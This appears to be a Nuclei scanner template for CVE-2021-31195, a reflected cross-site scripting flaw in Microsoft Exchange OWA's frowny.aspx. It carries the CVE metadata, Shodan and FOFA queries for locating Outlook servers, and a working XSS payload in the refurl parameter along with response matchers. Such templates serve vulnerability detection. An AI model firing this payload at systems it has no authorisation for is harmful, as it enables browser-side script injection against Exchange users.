id: CVE-2021-31195

info:
  name: Microsoft Exchange Server - Cross-Site Scripting
  author: infosecsanyam
  severity: medium
  description: Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
  reference:
    - https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31195
    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-31195
    cwe-id: CWE-79
    epss-score: 0.73676
    epss-percentile: 0.99404
    cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microsoft
    product: exchange_server
    shodan-query:
      - http.title:"Outlook"
      - http.favicon.hash:1768726119
      - http.title:"outlook"
      - cpe:"cpe:2.3:a:microsoft:exchange_server"
    fofa-query:
      - title="outlook"
      - icon_hash=1768726119
    google-query: intitle:"outlook"
  tags: cve2021,cve,microsoft,exchange,owa,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'alert(document.domain)//&et=ServerError'
          - 'mail/bootr.ashx'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 500
# digest: 490a0046304402205606e3e5227433919f35aab3ce1c2b393a6b2b0ecc2aff62993dcd2af96f290a0220289ea369b1bc0e7dbb18d946872ca3b1f6e03766a8309a0c3f2478a063f89339:922c64590222798bb761d5b6d8e72950